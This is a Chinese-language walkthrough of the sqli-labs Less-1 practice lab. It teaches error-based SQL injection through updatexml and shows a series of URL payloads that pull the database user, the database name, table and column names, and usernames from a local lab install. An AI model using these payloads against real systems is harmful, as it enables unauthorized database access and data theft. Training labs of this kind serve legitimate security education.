Sqli-labs Less-1 报错注入
1、首先打开less1后是一个页面,提示输入id作为参数。输入id=1试一下。
然后会出现,name 和 password,添加一个单引号 ' 测试一下注入点。
输入单引号发现,会直接将报错结果显示在页面中这里就可以尝试报错注入,将用户、数据库名称都爆破出来。
这里我们使用updatexml函数获取user()值。下图可以看到报错注入确实有效,我们看到用户为root,接下来爆数据库的名字。
0x7e是 '~' 的ASCII编码。
/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+#
/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+#
这里可以看到数据库的名字为security。接下来可以利用select语句继续获取数据库中的库名、表名和字段名,但是由于报错注入只显示一条结果,所以需要使用limit语句限制一下输出数据的条数。
/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+#
我们可以看到数据库中有一个表是emails,修改limit的参数值,可以查看第二个表名
/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1)--+#
接下来就可以不断修改limit参数值获取不同的表名称,然后可以看到有很多表。
/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)--+#
接下来就以users表为例,爆他的字段名出来,
/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)--+#
还是修改limit的参数值可以获取到所有的字段名称。
接下来可以查看表的内容。
http://localhost/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)--+#
至此,表内容就已经弄出来了。这一课就结束了。